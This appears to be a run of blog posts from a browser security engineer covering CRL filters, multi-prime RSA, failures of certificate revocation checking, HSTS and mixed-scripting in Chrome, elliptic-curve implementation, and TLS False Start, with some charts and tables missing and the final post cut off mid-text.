Matrix filters hit the lower bound, but have some issues. First, in order to query the filter you have to read and process the whole filter, so you will have to chunk it. Secondly, if your false positive rate is not of the form 1/2ⁿ, then the field arithmetic is slower. But I'll deal with the most important problem, from my point of view, next.

Back to the motivation for a moment: we're looking to sync a global view of CRLs to browsers. The initial download is one thing, but we also have to push updates frequently (probably daily). That means that delta encoding is terribly important.

Delta compressing a compressed Bloom filter or a GCS is pretty obvious with a range coder in hand. Additions and deletions from the set are just additions and deletions of bits or values, respectively. But changes to a matrix filter mean rewriting everything. Consider the example of lines in a plane: changing one of the lines moves the intersection point in both dimensions.

So, in order to add elements you would either have to retransmit the chunks that they fall into or send an additional chunk (that would have to be checked every time). Deletions can't be realised without retransmitting a whole chunk so, over time, the useful fraction of elements in a chunk would fall. Since a GCS is only about 15% bigger, it wouldn't take long for the matrix filter to be worse off.

So, although matrix filters are beautiful, I think a GCS works best. I suspect that there's a deep reason why a structure which hits the lower size bound cannot be delta compressed, but I'm too dumb to figure it out if there is.

In the process of playing with this, I implemented everything to some degree. I'll throw the code on github at some point.

Multi-prime RSA trade offs

(This is a technical post: casual readers should skip it.)

I couldn't find data on the speed/security trade offs of multi-prime RSA anywhere, so I gathered the data myself and hopefully this blog post can be found by people in the future.

I used the equations from Lenstra (Unbelievable security: Matching AES security using public key systems, in ASIACRYTPT 2001) and scaled them so that two prime, 1024 bit RSA is 80 bits. The speed numbers are from OpenSSL for a single core of a Xeon E5520 at 2.3GHz.

I'm assuming a 2048-bit modulus. The blue, horizontal lines are the estimated difficulty of the NFS for 2048 and 1024-bit composities. The blue curve is the estimated difficulty of factoring a multi-prime composite using ECM. Really you don't want to choose so many primes at this drops below the NFS level.

A couple of useful observations from this data: For 2048-bits, 3 primes is the most you want (this is confirmed by table 1 of this paper). Also, if your CA is requiring a 2048-bit modulus, you can use seven primes to get basically the same speed and security as a 1024-bit key.

This is the same data, in table form:

1024-bits (80-bit NFS security)

2048-bits (107-bit NFS security)

4096-bits (144-bit NFS security)

Revocation doesn't work

When an HTTPS certificate is issued, it's typically valid for a year or two. But what if something bad happens? What if the site loses control of its key?

In that case you would really need a way to invalidate a certificate before it expires and that's what revocation does. Certificates contain instructions for how to find out whether they are revoked and clients should check this before accepting a certificate.

There are basically two methods for checking if a certificate is revoked: certificate revocation lists (CRLs) and OCSP. CRLs are long lists of serial numbers that have been revoked while OCSP only deals with a single certificate. But the details are unimportant, they are both methods of getting signed and timestamped statements about the status of a certificate.

But both methods rely on the CA being available to answer CRL or OCSP queries. If a CA went down then it could take out huge sections of the web. Because of this, clients (and I'm thinking mainly of browsers) have historically been forgiving of an unavailable CA.

But an event this week gave me cause to wonder how well revocation actually works. So I wrote the the world's dumbest HTTP proxy. It's just a convenient way to intercept network traffic from a browser. HTTPS requests involve the CONNECT method, which is implemented. All other requests (including all revocation checks) simply return a 500 error. This isn't even as advanced as Moxie's trick of returning 3.

To be clear, the proxy is just for testing. An actual attack would intercept TCP connections. The results:

Firstly, IE 8 on Windows 7:

No indication of a problem at all even though the revocation checks returned 500s. It's even EV.

(Aside: I used Wireshark to confirm that revocation checks weren't bypassing the proxy. It's also the case that SChannel can cache revocation information. I don't know how to clear this cache, so I simply used a site that I hadn't visited before. Also confirming that a cache wasn't in effect is the fact that Chrome uses SChannel to verify certificates and Chrome knew that there was an issue..)

Firefox 3.6 on Windows 7, no indication:

Update: George Macon pointed out that Firefox removes the EV indication from this site. I'm not a regular Firefox user so I'm afraid that I didn't notice:

Chrome 12 on Windows 7:

There's something at least! We can click on it...

So Chrome has an indication but it's the same indication as mixed-content and I suspect that rather a lot of people will ignore it. There is one saving grace, Chrome implements HSTS and for HSTS sites, revocation failure is fatal:

Update: I changed this behaviour. See http://www.ietf.org/mail-archive/web/websec/current/msg00296.html

On other platforms, the story is much the same. Safari doesn't indicate that anything is wrong, nor does Firefox 4 on OS X, nor Firefox 3.6 on Linux. Chrome on Mac is the same as Windows, but on Linux doesn't indicate and doesn't protect HSTS sites. (Chrome Linux's behaviour is due to a limitation in NSS as I understand it.).

So, what's the effect? Well it depends where an attacker is. If the attacker is spoofing a site and is situated close to the site then they can attack all users, because they can get all the traffic destined for the site. However, such an attacker probably can't intercept traffic to the CA's servers, so revocation will actually work because the users will receive a firm ‘revoked’ message from the CA. If the attacker is close to the user, then they can only attack a smaller number of users, but they can intercept traffic to the CA and thus defeat revocation. Attacks in Tunisia and only open WiFi networks are the sort of attacks which can defeat revocation.

So should browsers be stricter about revocation checking? Maybe, but it does mean that a CA outage would disable large parts of the web. Imagine if Verisign corrupted their revocation database and were down for six hours while they rebuilt it. An global outage of large parts of the HTTPS web like that would seriously damage the image of web security to the point where sites would think twice about using HTTPS at all.

(You can configure Firefox to be strict about checking if you wish: security.OCSP.require in about:config.)

A much better solution would be for certificates to only be valid for a few days and to forget about revocation altogether. This doesn't mean that the private key needs to change every few days, just the certificate. And the certificate is public data, so servers could just download their refreshed certificate over HTTP periodically and automatically (like OCSP stapling). Clients wouldn't have to perform revocation checks (which are very complex and slow), CAs wouldn't have to pay for massive, DDoS proof serving capacity and revocation would actually work. If the CA went down for six hours, nobody cares. Only if the CA is down for days is there a problem. If you want to “revoke” a certificate, just stop renewing it.

HSTS UI in Chrome

HSTS is designed to address the fact that HTTP is the default protocol on the web. You might run a secure site that redirects everyone to HTTPS, but your users will just type in foo.com and that initial HTTP request is vulnerable to manipulation and SSL stripping attacks.

HSTS allows sites to advertise that they are HTTPS only. See the Chromium site page for more details.

However, it's difficult to test HSTS. Chrome's HSTS database stores only the hashes of sites (which may not have been the right choice, but I don't see sufficient motivation to change it at the moment) so it's hard to edit by hand. There are tools like craSH's Chrome-STS to help edit the database, but it's too hard for the average developer.

So I've added a debugging UI to Chrome to query, add and remove entries from the HSTS database. You have to type about:net-internals into the address bar and click the HSTS tab. You also need a version of Chrome after r75282. Today that means a trunk build but it should be in the dev channel release next week. Until then, here's a screenshot:

So, if you want to see if your site will break before deploying HSTS, you can add an entry locally for it and find out. Modifications persist on disk and have a expiry of 1000 days. You can also use it as a way to elect to always access sites via HTTPS (i.e. mail.google.com).

Origin poisoning

Mixed-scripting is when an HTTPS page loads resources like Javascript, CSS or plugins over HTTP. It's a subset of `mixed-content' but it's the really dangerous subset: by controlling those types of resources a network attacker can take control of the whole page rather than just, say, a single image.

Chrome, unlike other browsers, tracks mixed-scripting for origins rather than for pages. This means that, if page x triggers mixed-scripting and you follow a link to another page, y, in the same origin, we'll decorate y with mixed-scripting warnings even if it's clean when considered in isolation. This is because Javascript can control other pages in the same origin, see this paper.

Chrome's detection actually errs a little on the side of too many warnings. Strictly speaking, if there's only a single page open in the origin and you navigate it, then there's nowhere for evil Javascript to hide and so the next page can be clean. Chrome, rather, considers an origin to be poisoned once it has triggered mixed-scripting and that taint is only lifted once that renderer process has shutdown.

(Although there's also an argument to be made that Chrome's behavior is fine. Consider this case: you log into a web email client and the front page has mixed scripting. Then you click a link to compose an email. The compose page might be free of mixed-scripting and all the evil Javascript might have been flushed. But the mixed-scripting could have switched your cookies and logged you in as the attacker's account. Now, when you send the email, it'll appear in the attacker's `Sent Mail'.)

But that's all background. The problem is that developers get confused about these mixed-scripting warnings and invariably blame Chrome. If you have a mixed-scripting issue occur on a page which redirects, or in an HTTPS iframe on an HTTP site, then the Javascript console doesn't help you. If can be very difficult to figure out what the problem is.

So I've landed a patch in Chrome which logs mixed-scripting to the debug log no matter where it occurs. Just get a build after r74119 (see about:version) and follow the instructions to enable debugging logging.

Still not computationally expensive

F5 have put up a blog post explaining why my previous statements about SSL's computational costs are a myth. I'm glad that the idea is getting out there!

Keep in mind, however, that F5 want to sell you SSL hardware and that the blog post is a marketing piece. (I've never used F5 products but, from the client side, I've never found any problems with them either.)

Some assertions in the text are simple and wrong, so I'll just point these out:

• “All commercial certificate authorities now issue only 2048-bit keys”: clearly wrong, as anyone can confirm.
• They link to a nearly 5-year old version of the NIST guidelines rather than the guidelines issued last month.
• Their numbers RSA operations per second are both slow (it matches my 2.3Ghz, Core2 laptop) and per core. An eight-core server is over eight times faster than they suggest!
• “Obviously the more servers you have, the more certificates you need to deploy”: bizarrely, they assume that you're putting a different certificate on each server.

Certificate lengths

It's true that NIST have recommended that 1024-bit certificates should be phased out by 2013. CA certificates should be 2048-bit now and we need to work to remove the 1024-bit ones.

But even in 2013 it's still going to take tens of millions of dollars of computer hardware a year to factor a 1024-bit RSA key. If you're the sort of organisation which is considering deploying HTTPS do you think that your attackers are going to do that, or are they going to bribe someone to steal the private key from the servers?

Likewise, SSL hardware will probably make your key harder to steal via a software exploit, but keys can be revoked the problem dealt with. There are some organisations where hardware protected keys make sense, but for 99% of sites, key material isn't what's important. It would be far more damaging for customer data to be dumped on the web and SSL hardware doesn't save you there.

As we go towards 2013, CAs will try to issue fewer 1024-bit certificates and 2048-bit certificates are 5x slower. But it only takes one CA to start issuing ECDSA certificates along with a 2048-bit RSA one and the problem is much less vexing. Browsers largely support it and you can serve the ECDSA certificate to the ones which do and the RSA to the rest. P256-ECDSA is about as fast as 1024-bit RSA. The only problem is that people don't know to demand it from their CAs so the CAs don't do it yet.

Ciphers

RC4 has good key agility, it's a stream cipher (which saves bytes on the wire), it's quick and very well analysed. It's not the strongest cipher in the world, but it's significantly stronger than some other parts of the SSL ecosystem. With overwhelming probability, you are not the sort of organisation that needs to worry about attackers brute-forcing your cipher.

All together now...

SSL is just not that computationally expensive any more. Here are the real costs of HTTPS deployment these days:

• Virtual hosting still doesn't work in the real world because Microsoft never put support into Windows XP.
• Sorting out mixed content issues on your website.

The F5 article does mention the first of these, but SSL hardware doesn't help with either of them.

All sites should deploy HTTPS because attacks like Firesheep are too easy to do. Even sites where you don't login should deploy HTTPS (imagine the effect of spoofing news websites at a major financial conference to headline “Market crashes”). You should use HSTS to stop sslstrip. But you are probably not the sort of organisation which needs to worry about multi-million dollar attacks aimed at factoring your key.

Unfortunate current practices for HTTP over TLS

(For amusement value.)

Network Working Group                                         A. Langley
Internet-Draft                                                Google Inc
Expires: July 5, 2011                                           Jan 2011


            Unfortunate current practices for HTTP over TLS
                      draft-agl-tls-oppractices-00

Abstract

   This document describes some of the unfortunate current practices
   which are needed in order to transport HTTP over TLS on the public
   Internet.

Status of this Memo

   This Internet-Draft is submitted to IETF in full conformance with the
   provisions of BCP 78 and BCP 79.

   Internet-Drafts are working documents of the Internet Engineering
   Task Force (IETF), its areas, and its working groups.  Note that
   other groups may also distribute working documents as Internet-
   Drafts.

   Internet-Drafts are draft documents valid for a maximum of six months
   and may be updated, replaced, or obsoleted by other documents at any
   time.  It is inappropriate to use Internet-Drafts as reference
   material or to cite them other than as "work in progress."

   The list of current Internet-Drafts can be accessed at
   http://www.ietf.org/ietf/1id-abstracts.txt.

   The list of Internet-Draft Shadow Directories can be accessed at
   http://www.ietf.org/shadow.html.

   This Internet-Draft will expire on July 5, 2011.

Copyright Notice

   Copyright (c) 2011 IETF Trust and the persons identified as the
   document authors.  All rights reserved.

   This document is subject to BCP 78 and the IETF Trust's Legal
   Provisions Relating to IETF Documents
   (http://trustee.ietf.org/license-info) in effect on the date of
   publication of this document.  Please review these documents
   carefully, as they describe your rights and restrictions with respect
   to this document.  Code Components extracted from this document must
   include Simplified BSD License text as described in Section 4.e of
   the Trust Legal Provisions and are provided without warranty as
   described in the BSD License.


Table of Contents

   1.  Introduction . . . . . . . . . . . . . . . . . . . . . . . . .  3
   2.  Handshake message fragmentation  . . . . . . . . . . . . . . .  4
   3.  Protocol Fallback  . . . . . . . . . . . . . . . . . . . . . .  5
   4.  More implementation mistakes . . . . . . . . . . . . . . . . .  6
   5.  Certificate Chains . . . . . . . . . . . . . . . . . . . . . .  7
   6.  Insufficient Security  . . . . . . . . . . . . . . . . . . . .  8
   7.  Acknowledgements . . . . . . . . . . . . . . . . . . . . . . .  9
   8.  Normative References . . . . . . . . . . . . . . . . . . . . . 10
   Appendix A.  Changes . . . . . . . . . . . . . . . . . . . . . . . 11
   Author's Address . . . . . . . . . . . . . . . . . . . . . . . . . 12


1.  Introduction

   HTTP [RFC2616] is one of the most common application level protocols
   transported over TLS [RFC5246].  (This combination is commonly known
   as HTTPS based on the URL scheme used to indicate it.)  HTTPS clients
   have to function with a huge range of TLS implementations, some of
   higher quality than others.  This text aims to document some of the
   behaviours of existing HTTPS clients that are designed to ensure
   maximum interoperability.

   This text should not be taken as a recommendation that future HTTPS
   clients adopt these behaviours.  The security implications of each
   need to be carefully considered by each implementation.  However,
   these behaviours are common and the authors consider it better to
   document the state of practice than to simply wish it were otherwise.


2.  Handshake message fragmentation

   Many servers will fail to process a handshake message that spans more
   than one record.  These servers will close the connection when they
   encounter such a handshake message.  HTTPS clients will commonly
   ensure against that by either packing all handshake messages in a
   flow into a single record, or by creating a single record for each
   handshake message.


3.  Protocol Fallback

   Despite it being nearly twelve years since the publication of TLS 1.0
   [RFC2246], around 3% of HTTPS servers will reject a valid TLS
   "ClientHello".  These rejections can take the form of immediately
   closing the connection or a fatal alert.  Intolerance to the
   following has been observed:

      Advertising version TLS 1.0.

      Advertising a TLS version greater than TLS 1.0 (around 2% for 1.1
      or 1.2, around 3% for greater than 1.2).

      Advertising a version greater than 0x03ff (around 65% of servers)

      The presence of any extensions (around 7% of servers)

      The presence of specific extensions ("server_name" and
      "status_request" intolerance has been observed, although in very
      low numbers).

      The presence of any advertised compression algorithms

   Next, some servers will misbehave after processing the "ClientHello"
   message.  Negotiating the use of "DEFLATE" compression can result in
   fatal "bad_record_mac", "decompression_failure" or
   "decryption_failed" alerts.  Notably, OpenSSL prior to version 0.9.8c
   will intermittently fail to process compressed finished messages due
   to a work around of a previous padding bug.

   Lastly, some servers will negotiate the use of SSLv3 but select a
   TLS-only cipher suite.

   In all these cases, HTTPS clients will often enter a fallback mode.
   The connection is retried using only SSLv3 and without advertising
   any compression algorithms.  (This is obviously an easy downgrade
   attack.)  Also, the fallback can be triggered by transient network
   problems, which often manifest as an abruptly closed connection.
   Since SSLv3 does not provide any means of Server Name Indication
   [RFC3546], the fallback connection can use the wrong certificate
   chain, resulting in a very surprising certificate error.


4.  More implementation mistakes

   Non-fatal errors in version negotiation also occur.  Some 0.2% of
   servers use the version from the record header.  Around 0.6% of
   servers require that the version in the "ClientHello" and record
   header match in order to respect the version in the "ClientHello".  A
   very low number of servers echo whatever version the client
   advertises.

   In the event that the client supports a higher protocol version than
   the server, about 0.4% of servers require that the RSA
   "ClientKeyExchange" message include the server's protocol version.

   Some 30% of servers don't check the version in an RSA
   "ClientKeyExchange" at all.


5.  Certificate Chains

   Certificate chains presented by servers will commonly be missing
   intermediate certificates, have certificates in the wrong order and
   will include unrelated, superfluous certificates.  Servers have been
   observed presenting more than ten certificates in what we assume is a
   drive-by shooting approach to including the correct intermediate
   certificate.

   In order to validate chains which are missing certificates, some
   HTTPS clients will collect intermediate certificates from other
   servers.  Clients will commonly put all the presented certificates
   into a set and try to validate a chain assuming only that the first
   certificate is the leaf.


6.  Insufficient Security

   Some 65% of servers support SSLv2 (beyond just supporting the
   handshake in order to upgrade to SSLv3 or TLS).  HTTPS clients will
   typically not support SSLv2, nor send SSLv2 handshakes by default.
   Of those servers, 80% support the export ciphersuites.  (Although
   about 3% of those servers negotiate weak ciphersuites only to show a
   warning.)

   Some servers will choose very small multiplicative group sizes for
   their ephemeral Diffie-Hellman exchange (for example, 256-bits).
   Some HTTPS clients will reject all multiplicative group sizes smaller
   than 512-bits while others will retry after demoting DHE ciphersuites
   in their "ClientHello".


7.  Acknowledgements

   Yngve Pettersen made significant contributions and many of the
   numbers in this document come from his scanning work.  Other numbers
   were taken from Ivan Ristic's SSL Survey.

   Thanks to Wan Teh Chang for reviewing early drafts.


8.  Normative References

   [RFC2246]  Dierks, T. and C. Allen, "The TLS Protocol Version 1.0",
              RFC 2246, January 1999.

   [RFC2616]  Fielding, R., Gettys, J., Mogul, J., Frystyk, H.,
              Masinter, L., Leach, P., and T. Berners-Lee, "Hypertext
              Transfer Protocol -- HTTP/1.1", RFC 2616, June 1999.

   [RFC3546]  Blake-Wilson, S., Nystrom, M., Hopwood, D., Mikkelsen, J.,
              and T. Wright, "Transport Layer Security (TLS)
              Extensions", RFC 3546, June 2003.

   [RFC5246]  Dierks, T. and E. Rescorla, "The Transport Layer Security
              (TLS) Protocol Version 1.2", RFC 5246, August 2008.

OpenSSH 5.7 with ECC support

OpenSSH 5.7 has been released and its major notable new feature is support for ECDH key agreement and ECDSA host and user keys.

What a difference a prime makes

In a previous post I covered some of the issues with implementing ECC operations. I also mentioned the problems with the number of terms in the P256 prime.

Having spent a fair amount of time optimising OpenSSL's elliptic curve code, here are the current speeds:

(The graph is inline SVG. Can't see it? Get a better browser.)

P224 and P256 are not, fundamentally, very different. However, P256 has a nasty prime formation, as I explained previously, which kills the speed. Sadly, if you want to support the existing fleet of browsers, P256 is your fastest option.

(The multiplicative DH is measured using OpenSSL's code. curve25519 is my own code, based on djb's. P224 is Emilia Kasper's, inspired by curve25519. P521 is my own code based on Emilia's. P256 is my own code, also based on Emilia's, with a very different form from in an attempt to get it running faster.)

(The measurements are taken on a single core of my 2.3GHz Xeon E5520. They are a scalar multiplication of the base point followed by a scalar multiplication of the result. They don't include point validation. The OpenSSL code involves additional overhead from the BIGNUM conversions, however I consider that fair game because you have to do them if you want to use the code.)

Elliptic curves and their implementation (pointer)

If you read this via Google Reader (or, possibly, other feed readers) then the last post won't have appeared, possibly because of the inline SVG (getting cut by the bleeding edge again).

So, click to read Elliptic curves and their implementation.

Elliptic curves and their implementation

So what's an elliptic curve? Well, for starters, it's not an ellipse. An elliptic curve is a set of points on a plane which satisfy an equation of the form y² = x³ + ax + b.

As an example, here's the elliptic curve y² = x³ - 3x + 3:

(Thanks to Wolfram Alpha for plotting the curve. Can't see the diagram? Get a better browser).

At this point I'm going to point out that I'm omitting details in order to keep things simple and I'm going to keep doing it without mentioning it again. For example, that elliptic curve equation is based on a transformation which is only valid if the underlying field characteristic is not 2 nor 3. If you want to full details then you should read up. Carrying on …

So the elliptic curve is the set of points which satisfy an equation like that. For the curve above you can see that (1, 1) and (1, -1) are both on the curve and a quick mental calculation should confirm that they fit into the equation.

But the points on an elliptic curve aren't just a set of points, with a small hack they have a structure to them which is sufficient to form a group. (A group is a mathematical term, not just a noun that I pulled from the air.)

Being a group requires four things: that you can add two elements to get a third element which is also in the group. That this is true for all elements: (a + b) + c = a + (b + c). That there's a zero element so that a + 0 = a. Finally that, for every element, there's a negative of that element (written -a), so that a + -a = 0.

And, when you define addition correctly, the set of points on an elliptic curve has that structure. Also, the addition rule for elliptic curves has a very nice graphical definition, so I can give you a couple more diagrams.

The addition rule says that, to add a and b, you draw a line from a to b, intersect it with the curve and reflect in the x-axis:

There's a slight wrinkle in this: what if a and b are the same point? A line needs two, distinct points to be defined.

So there's a special rule for doubling a point: you take the tangent to the curve at that point, intersect it with the curve and then reflect in the x-axis:

So we defined addition, but the zero element is a bit of a hack. First, we define the negative of an element to be its reflection in the x-axis. We know that adding an element and its negative results in the zero element so think about what adding an element and its reflection means. We draw a line from the element to its reflection, which means that the line is vertical. Now we have to find the third point where that line intersects the curve. But, from looking at the y² term of the equation, it's clear that the curve only has two solutions for any given x value. So the line doesn't intersect the curve!

And this is where the zero element comes from. It's called the point at infinity and it's a magic element which is infinitely far away. This means that the vertical line ends up hitting it. It also means that it's directly above every point so, when you add the zero element to a point, you get its reflection which you then reflect back to the original point.

And, with that brief wart, we have a group! But what's the point? Well, given addition, you can define multiplication (it's just repeated addition). So, given a curve and a point on that curve (called the base point and written G), you can calculate some multiple of that point. But, given the resulting point, you can't feasibly work backwards to find out what the multiple was. It's a one-way function.

To see how this might be useful for cryptography our old friends, Alice and Bob, enter the scene. They are standing in a room with lots of other people and would like a private conservation, but there's not enough room. Thankfully, Alice and Bob both know a standard, public elliptic curve and base point. Each think up a random number and multiply the base point by that number.

We'll call Alice's random number a and Bob's, b. Each tell the other (and, therefore, everyone) aG and bG: the multiples of the base point. So Alice knows a and bG and multiplies the latter by the former to get abG. Bob knows b and aG and multiplies the latter by the former to get baG. abG = baG so both now have a shared, private key. The other people in the room know only aG and bG and they can't divide to get either a nor b, so they can't calculate the secret.

(That's an elliptic curve Diffie-Hellman key agreement.)

Implementing elliptic curve operations in software.

The diagrams for addition and doubling are pretty, but aren't code. Thankfully they translate pretty easily into equations which can be found at the top of the EFD page for Short Weierstrass curves (which is the specific subset of elliptic curve that we're dealing with).

Those equations are defined in terms of affine coordinates (i.e. (x,y) pairs) but serious implementations will invariably use a transformation. Transformations are applied at the start of a long calculation so that the steps of the calculation are easier. The transformation can be reversed at the end to get affine coordinates out.

A common example of a transformation is the use of polar coordinates. When working with points on the plane, working with polar coordinates can make some calculations vastly easier. Elliptic curve transformations are like that, although with different transformations.

The transformations that you'll commonly see are Jacobian coordinates and XZ (aka Montgomery's trick), although the latter sort of isn't invertible (more on that later).

The underlying field

When we defined the elliptic curve, above, we talked about a set of points but we never defined a point. Well, a point on the plane can be represented as an (x,y) pair, but what are x and y? If this were a maths class they would be elements of ℜ, the set of real numbers. But real numbers on computers are either very slow or approximate. The rules of the group quickly breakdown if you are only approximate.

So, in cryptographic applications, we use an alternative, finite field. (Again, field is a mathematical term, like group.) The finite fields in this case are the numbers modulo a prime. (Although all finite fields of the same size are isomorphic so it doesn't really matter.)

At this point, we're going to speed up. I'm not going to explain finite fields, I'm going to jump into the tricks of implementation. If you made it this far, well done!

It's important to keep in mind that we have two different structures in play here. We have the elliptic curve group, where we are adding and doubling points on the curve, and we have the underlying field. In order to do operations on the group, we have to do a number of operations on elements of the underlying field. For example, here's the formula for group addition under a Jacobian transform. It's given a cost in terms of the underlying field: 11 multiplications plus five squarings.

Our job is to do these group and field operations quickly and in constant time. The latter is important! Look at the power of the timing attacks against AES and RSA!

Limb schedules

If the order of the field is between 2^n-1 and 2ⁿ then we call it an n-bit group. (The order can't be 2ⁿ for n > 0 because the order must be prime and 2ⁿ is even.)

For cryptographically useful field sizes, elements aren't going to fit in a single register. Therefore we have to represent field elements with a number of limbs (which we'll call a, b, c, ...). If we were working in a field of size 2¹²⁷-1 then we might represent field elements with two limbs by 2⁶⁴×a + b. Think of it as a two digit number in base 2⁶⁴.

Since we're using a pair of 64-bit limbs and we're probably putting them in 64-bit registers this is a uniform, saturated (because the registers are full) limb schedule. As a is multiplied by 2⁶⁴ we say that it's “at 2⁶⁴”.

However, we're going to hit some issues with this scheme. Think about squaring these field elements (multiplication is the same, but I would need more variables). Squaring means calculating a² + 2ab + b². That results in limbs at 2⁰ (b²), 2⁶⁴ (the middle term) and 2¹²⁸ (a²).

But multiplying the 64-bit limbs gives a 128-bit result (x86-64 chips can do that, although you need some tricks to pull it off from C code). When it comes to the middle term, you can't multiply the 128-bit by 2 without overflowing. You would have to process the result into a form which you could manipulate. Also, if you look at the algorithms which we're implementing, there are small scalar factors and subtractions, both of which are much easier to do with some headroom.

So we could consider an unsaturated schedule. For example, for a 224-bit field, four 56-bit limbs works well. It's still uniform, but the results of multiplication are only 112-bit, so you can add several of those numbers together in a 128-bit limb without overflowing.

There are also non-uniform schedules. For a 255-bit field, a schedule of 25, 26, 25, 26, ... for ten limbs works well. It's best to keep the schedule as uniform as possible however, otherwise, when multiplying, you end up with values at odd positions and might not have enough headroom to shift them in-place to match up with a limb position.

Prime structures

When implementing curves you typically don't get to choose the prime. There are a few standard primes defined by NIST (in FIPS 186-3) and less common ones (like curve25519).

The structure of the prime matters because the most complex operation will be the reduction. When we did a squaring in the example above, we ended up with a term at 128 bits. We have to eliminate that otherwise, as we keep multiplying results, the results will just get bigger and bigger.

If you think of reducing 2¹²⁷ modulo 2¹²⁷-1, I hope it's clear that the result is one. If you had a limb at 127 bits, then you could just take that value, add it in at 0 bits and drop the limb at 127 bits. A limb at 127 bits `reflects' off the term at 2⁰ and ends getting added in at 0 bits.

Since we had a limb at 128 bits, its reflection off that term ends up at 1 bit. So we would have to left shift the limb by one before adding it in at 0. (And hope that your limb schedule gave you some headroom to do the left shift!). That's pretty much an ideal case and 2¹²⁷-1 is called a Mersenne prime. Sadly, there aren't any between 2¹²⁷-1 and 2⁵²¹-1, so you'll probably get something harder.

Take NIST's P256 curve. Here the prime is 2²⁵⁶ - 2²²⁴ + 2¹⁹² + 2⁹⁶ - 1. It was designed so that, with 32-bit limbs, all the reflections end up on 32-bit boundaries. However, we have 64-bit systems these days and we really don't want to waste those big 64-bit full multipliers. However, the prime is nasty for other limb structures. That term at 224 bits is so high up that reflections off it usually end up above 256 and get reflected again. That's terrible if your limbs don't line up with the reflections. For example, if you try 52-bit, unsaturated limbs with that prime, then the reflections for the limb at 416 bits are at 224, 192, 160, 128, 96, 64, 32, and 0 bits! With all that shifting and adding (and more because you don't have enough headroom for all those shifts), you end up with a slow reduction.

I have typically ended up experimenting with different limb schedules and seeing which is the fastest. You can get a rough feeling for how well a given schedule will do but, with CPUs being so complex these days, it's never terribly clear which will be the fastest without trying them.

Inversion

The usual way to do inversion in a finite field is with Euclid's algorithm. However, this isn't constant time. Thankfully, we can use Fermat's little theorem (x^p ≅ x (mod p)) and notice that it easily follows that x^p-2 ≅ x^-1 (mod p). So, just raise the element to power of p - 2. It's a long operation, but you don't do it very often.

(Credit to djb for that trick.)

Subtraction

Although you can use signed limbs, I consider the complexity to be too much to bother with. But, without signed limbs how do you do subtraction?

Well, everything is modulo p, so we can always add 0 mod p. If you have unsaturated limbs then the top bits of the limb overlap with the bottom bits of the next limb. So, you can add a large number to the first limb and subtract a small number from the next one. But what stops the next limb from underflowing? Well, you want to add the same large number there and subtract from the next etc.

This continues until you reach the top limb. Here, you can calculate the excess, reduce modulo p and correct the lower limbs to counteract it. In the end, you end up with a few, static values which you can quickly add to a field element without changing the element value, but so that you can now prove that the subtraction doesn't underflow any limbs.

(Credit to Emilia Kasper for that one.)

Remarks

I could write a lot more, but it's getting late. The reason for this write up is that I'm currently working on a fast P256 implementation for OpenSSL. It won't be as fast as I would like due to the issues with the P256 prime, given above. But, I hope to be done by the end of the week and hope to have some exciting news about it in the new year.

Google Charts API over HTTPS

I'm happy to announce that the Google Charts API is now available over HTTPS at https://chart.googleapis.com. For example:

The documentation should be updated in due course.

Random number generators in Psi experiments

(Note: I'm not making any comment on the research in question, merely making a technical remark.)

In Feeling the Future, the author, D. Bem, has an interesting problem (page 11 of the linked preprint). If an experiment shows that people can predict the output of a RNG, what does that tell us?

Well, if the RNG was a PRNG, seeded at the beginning of the experiment, then the subject could either be showing precognition (i.e. they can sense the result from the future) or clairvoyance (i.e. they can sense the state of the PRNG and thus know the next result). If you clock a true, hardware RNG before the trial then the same possibilities arise.

If you clock a true RNG after the trial however, then the possibilities are precognition and psycokinesis (i.e. the subject altered the state of the RNG, causing the result).

My observation was that you could XOR a PRNG and a RNG. (The latter being clocked after the trial.) In this case, prediction implies, at least, either both clairvoyance (for the PRNG) and psychokinesis (for the RNG), or precognition. That appears to be a useful trick.

However, this rather relies on the result that the sum of two RNGs is at least as random as the best of them. However, if we have a result which suggests precognition, then that doesn't hold! An evil RNG could, when summed with a true RNG, predict its future output and cancel it out, resulting in a less random result!

Changing HTTPS

At Google we're pretty fanatical about speed. We know that when things run faster people aren't just happier to use them, but that it fundamentally changes the way that people use them. That's why we strive to make Chrome the fastest browser possible and include experiments like SPDY.

As part of this, we've been looking at SSL/TLS, the protocol which secures HTTPS. We love SSL/TLS because of the privacy and security that it gives to our users and, like everything, we want to make it faster.

One of the simplest changes that we're experimenting with is called False Start. It can shave a round trip from the setup time of many HTTPS connections. A round trip varies depending on how far away the webserver is from the client. Crossing the continental US and back takes about 70ms. Going from the west coast to Europe and back takes about 150ms.

That might not seem like very much. But these costs are multiplied when loading a complex site. If it takes an extra 100ms to start fetching the contents of the page, then that's 100ms until the browser discovers resources on other websites that will be needed to render its contents. If loading those resources reveals more dependents then they are delayed by three round trips.

And this change disproportionately benefits smaller websites (who aren't multihomed around the world) and mobile users or areas with poorer Internet connectivity (who have longer round trip times).

Most attractively, this change can be made unilaterally. Browsers can implement False Start and benefit without having to update webservers.

However, we are aware that this change will cause issues with about 0.05% of websites on the Internet. There are a number of possible responses to this:

The most common would be to admit defeat. Rightly or wrongly, users assign blame to the last thing to change. Thus, no matter how grievous or damaging their behaviour, anything that worked at some point in the past is regarded as blameless for any future problem. As the Internet becomes larger and more diverse, more and more devices are attached that improperly implement Internet protocols. This means that any practice that isn't common is likely to be non-functional for a significant number of users.

In light of this, many efforts which try to make lower level changes fail. Others move on top of common protocols in the hope that bugs in the network don't reach that high.

Chrome still carries an idealism that means that we're going to try to make low level changes and try to make them work.

The second common response to these problems is to work around them. This means detecting when something has gone wrong and falling back to the old behaviour. In the specific case of False Start, detecting the failure is problematic. However, even if it were not, then we still wouldn't want to work around the issue because we think that it's damaging to the Internet in its own way.

Fallbacks allow problematic sites to continue to function and stems the flow of angry users. That alone makes it very attractive to developers. However, it also removes any motivation for the sites to change. In most cases, it means that sites will never even know about the issue. Fallbacks do nothing to move the world towards a position where the change in question functions correctly.

Additionally, fallbacks add more unwritten rules and complexity. As an example, take the change from SSLv3 to TLS 1.0. This was a change to the same SSL/TLS protocol that False Start changes and it was finialised as a standard nearly 12 years ago. TLS 1.0 was designed so that browsers could talk to older SSLv3 websites without issues. The only slight problem was that some webservers needed to be updated to ignore some extra data that TLS 1.0 clients would send. A very minor change.

In order to make the transition smoother, browsers added a fallback from TLS to SSLv3. The Internet in 1999 was a much smaller and more flexible place. It was assumed that the problematic webservers could be fixed in a few years and the fallback could be removed.

